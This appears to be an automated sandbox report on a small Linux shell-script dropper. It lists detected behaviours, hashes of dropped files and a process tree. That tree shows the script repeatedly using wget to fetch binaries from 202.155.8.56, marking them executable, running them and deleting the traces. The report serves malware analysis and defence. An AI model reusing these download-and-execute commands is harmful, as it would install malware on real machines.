Analysis

  • max time kernel
    143s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/06/2026, 08:44

General

  • Target
    WSW0.sh
  • Size 263B
  • Sample260630-knmsmsa14x
  • SHA256 f4ce046ed860f495ccfc3f12f803986ac6e36958a6555ae420ca1bc9d05fa6d4
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /bin/rm
      rm OZAP
      2⤵
        PID:650
      • /usr/bin/wget
        wget http://202.155.8.56/OZAP
        2⤵
        • Writes file to tmp directory
        PID:654
      • /bin/chmod
        chmod +x OZAP
        2⤵
        • File and Directory Permissions Modification
        PID:676
      • /tmp/OZAP
        ./OZAP
        2⤵
        • OS Credential Dumping
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:677
        • /usr/local/sbin/uname
          uname -a
          3⤵
            PID:681
          • /usr/local/bin/uname
            uname -a
            3⤵
              PID:681
            • /usr/sbin/uname
              uname -a
              3⤵
                PID:681
              • /usr/bin/uname
                uname -a
                3⤵
                  PID:681
                • /sbin/uname
                  uname -a
                  3⤵
                    PID:681
                  • /bin/uname
                    uname -a
                    3⤵
                      PID:681
                  • /bin/rm
                    rm AWSD
                    2⤵
                      PID:679
                    • /usr/bin/wget
                      wget http://202.155.8.56/AWSD
                      2⤵
                      • Writes file to tmp directory
                      PID:680
                    • /bin/chmod
                      chmod +x AWSD
                      2⤵
                      • File and Directory Permissions Modification
                      PID:692
                    • /tmp/AWSD
                      ./AWSD
                      2⤵
                        PID:694
                      • /bin/rm
                        rm WYEC
                        2⤵
                          PID:697
                        • /usr/bin/wget
                          wget http://202.155.8.56/WYEC
                          2⤵
                          • Writes file to tmp directory
                          PID:698
                        • /bin/chmod
                          chmod +x WYEC
                          2⤵
                          • File and Directory Permissions Modification
                          PID:732
                        • /tmp/WYEC
                          ./WYEC
                          2⤵
                            PID:733
                          • /bin/rm
                            rm ZQXY
                            2⤵
                              PID:735
                            • /usr/bin/wget
                              wget http://202.155.8.56/ZQXY
                              2⤵
                              • Writes file to tmp directory
                              PID:736
                            • /bin/chmod
                              chmod +x ZQXY
                              2⤵
                              • File and Directory Permissions Modification
                              PID:737
                            • /tmp/ZQXY
                              ./ZQXY
                              2⤵
                              • Writes file to tmp directory
                              PID:738
                            • /bin/rm
                              rm CUQJ
                              2⤵
                                PID:741
                              • /usr/bin/wget
                                wget http://202.155.8.56/CUQJ
                                2⤵
                                • Writes file to tmp directory
                                PID:743
                              • /bin/chmod
                                chmod +x CUQJ
                                2⤵
                                • File and Directory Permissions Modification
                                PID:772
                              • /tmp/CUQJ
                                ./CUQJ
                                2⤵
                                  PID:773
                                • /bin/rm
                                  rm QHEN
                                  2⤵
                                    PID:775
                                  • /usr/bin/wget
                                    wget http://202.155.8.56/QHEN
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:776
                                  • /bin/chmod
                                    chmod +x QHEN
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:777
                                  • /tmp/QHEN
                                    ./QHEN
                                    2⤵
                                      PID:778
                                    • /bin/rm
                                      rm PNXX
                                      2⤵
                                        PID:780
                                      • /usr/bin/wget
                                        wget http://202.155.8.56/PNXX
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:781
                                      • /bin/chmod
                                        chmod +x PNXX
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:782
                                      • /tmp/PNXX
                                        ./PNXX
                                        2⤵
                                          PID:783
                                        • /bin/rm
                                          rm RNJG
                                          2⤵
                                            PID:785
                                          • /usr/bin/wget
                                            wget http://202.155.8.56/RNJG
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:786
                                          • /bin/chmod
                                            chmod +x RNJG
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:787
                                          • /tmp/RNJG
                                            ./RNJG
                                            2⤵
                                              PID:788
                                            • /bin/rm
                                              rm PBSY
                                              2⤵
                                                PID:790
                                              • /usr/bin/wget
                                                wget http://202.155.8.56/PBSY
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:791
                                              • /bin/chmod
                                                chmod +x PBSY
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:792
                                              • /tmp/PBSY
                                                ./PBSY
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:793
                                              • /bin/rm
                                                rm TRKX
                                                2⤵
                                                  PID:795
                                                • /usr/bin/wget
                                                  wget http://202.155.8.56/TRKX
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:796
                                                • /bin/chmod
                                                  chmod +x TRKX
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:797
                                                • /tmp/TRKX
                                                  ./TRKX
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:798
                                                • /bin/rm
                                                  rm SQMC
                                                  2⤵
                                                    PID:800
                                                  • /usr/bin/wget
                                                    wget http://202.155.8.56/SQMC
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:801
                                                  • /bin/chmod
                                                    chmod +x SQMC
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:802
                                                  • /tmp/SQMC
                                                    ./SQMC
                                                    2⤵
                                                      PID:803
                                                    • /bin/rm
                                                      rm LNMH
                                                      2⤵
                                                        PID:805
                                                      • /usr/bin/wget
                                                        wget http://202.155.8.56/LNMH
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:806
                                                      • /bin/chmod
                                                        chmod +x LNMH
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:807
                                                      • /tmp/LNMH
                                                        ./LNMH
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:808
                                                      • /bin/rm
                                                        rm ZEFI
                                                        2⤵
                                                          PID:810
                                                        • /usr/bin/wget
                                                          wget http://202.155.8.56/ZEFI
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:811
                                                        • /bin/chmod
                                                          chmod +x ZEFI
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:812
                                                        • /tmp/ZEFI
                                                          ./ZEFI
                                                          2⤵
                                                            PID:813
                                                          • /bin/rm
                                                            rm BHXY
                                                            2⤵
                                                              PID:815
                                                            • /usr/bin/wget
                                                              wget http://202.155.8.56/BHXY
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:816
                                                            • /bin/chmod
                                                              chmod +x BHXY
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:817
                                                            • /tmp/BHXY
                                                              ./BHXY
                                                              2⤵
                                                                PID:818
                                                              • /bin/rm
                                                                rm BKAN
                                                                2⤵
                                                                  PID:820
                                                                • /usr/bin/wget
                                                                  wget http://202.155.8.56/BKAN
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:821
                                                                • /bin/chmod
                                                                  chmod +x BKAN
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:822
                                                                • /tmp/BKAN
                                                                  ./BKAN
                                                                  2⤵
                                                                    PID:823
                                                                  • /bin/rm
                                                                    rm BCTV
                                                                    2⤵
                                                                      PID:825
                                                                    • /usr/bin/wget
                                                                      wget http://202.155.8.56/BCTV
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:826
                                                                    • /bin/chmod
                                                                      chmod +x BCTV
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:827
                                                                    • /tmp/BCTV
                                                                      ./BCTV
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:828
                                                                    • /bin/rm
                                                                      rm -rf OZAP
                                                                      2⤵
                                                                        PID:830
                                                                      • /bin/rm
                                                                        rm -rf AWSD
                                                                        2⤵
                                                                          PID:831
                                                                        • /bin/rm
                                                                          rm -rf WYEC
                                                                          2⤵
                                                                            PID:832
                                                                          • /bin/rm
                                                                            rm -rf ZQXY
                                                                            2⤵
                                                                              PID:833
                                                                            • /bin/rm
                                                                              rm -rf CUQJ
                                                                              2⤵
                                                                                PID:834
                                                                              • /bin/rm
                                                                                rm -rf QHEN
                                                                                2⤵
                                                                                  PID:835
                                                                                • /bin/rm
                                                                                  rm -rf PNXX
                                                                                  2⤵
                                                                                    PID:836
                                                                                  • /bin/rm
                                                                                    rm -rf RNJG
                                                                                    2⤵
                                                                                      PID:837
                                                                                    • /bin/rm
                                                                                      rm -rf PBSY
                                                                                      2⤵
                                                                                        PID:838
                                                                                      • /bin/rm
                                                                                        rm -rf TRKX
                                                                                        2⤵
                                                                                          PID:839
                                                                                        • /bin/rm
                                                                                          rm -rf SQMC
                                                                                          2⤵
                                                                                            PID:840
                                                                                          • /bin/rm
                                                                                            rm -rf LNMH
                                                                                            2⤵
                                                                                              PID:841
                                                                                            • /bin/rm
                                                                                              rm -rf ZEFI
                                                                                              2⤵
                                                                                                PID:842
                                                                                              • /bin/rm
                                                                                                rm -rf BHXY
                                                                                                2⤵
                                                                                                  PID:843
                                                                                                • /bin/rm
                                                                                                  rm -rf BKAN
                                                                                                  2⤵
                                                                                                    PID:844
                                                                                                  • /bin/rm
                                                                                                    rm -rf BCTV
                                                                                                    2⤵
                                                                                                      PID:845
                                                                                                    • /bin/rm
                                                                                                      rm /tmp/WSW0.sh
                                                                                                      2⤵
                                                                                                        PID:846

                                                                                                    Network

                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          .zwxGXIla

                                                                                                          • Path /tmp/.zwxGXIla
                                                                                                          • Size 18B
                                                                                                          • SHA256 d247a758aca24c18df1b299ec9bc57940358242b6e163b3b22888cf169d13833
                                                                                                          • MD5 SHA1 SHA512

                                                                                                          AWSD

                                                                                                          • Path /tmp/AWSD
                                                                                                          • Size 200KB
                                                                                                          • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          BCTV

                                                                                                          • Path /tmp/BCTV
                                                                                                          • Size 126KB
                                                                                                          • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          BHXY

                                                                                                          • Path /tmp/BHXY
                                                                                                          • Size 193KB
                                                                                                          • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          BKAN

                                                                                                          • Path /tmp/BKAN
                                                                                                          • Size 125KB
                                                                                                          • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          CUQJ

                                                                                                          • Path /tmp/CUQJ
                                                                                                          • Size 105KB
                                                                                                          • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          LNMH

                                                                                                          • Path /tmp/LNMH
                                                                                                          • Size 121KB
                                                                                                          • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          OZAP

                                                                                                          • Path /tmp/OZAP
                                                                                                          • Size 125KB
                                                                                                          • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          PBSY

                                                                                                          • Path /tmp/PBSY
                                                                                                          • Size 86KB
                                                                                                          • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          PNXX

                                                                                                          • Path /tmp/PNXX
                                                                                                          • Size 154KB
                                                                                                          • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QHEN

                                                                                                          • Path /tmp/QHEN
                                                                                                          • Size 105KB
                                                                                                          • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          RNJG

                                                                                                          • Path /tmp/RNJG
                                                                                                          • Size 129KB
                                                                                                          • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          SQMC

                                                                                                          • Path /tmp/SQMC
                                                                                                          • Size 193KB
                                                                                                          • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          TRKX

                                                                                                          • Path /tmp/TRKX
                                                                                                          • Size 125KB
                                                                                                          • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          WYEC

                                                                                                          • Path /tmp/WYEC
                                                                                                          • Size 109KB
                                                                                                          • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          ZEFI

                                                                                                          • Path /tmp/ZEFI
                                                                                                          • Size 167KB
                                                                                                          • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          ZQXY

                                                                                                          • Path /tmp/ZQXY
                                                                                                          • Size 129KB
                                                                                                          • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH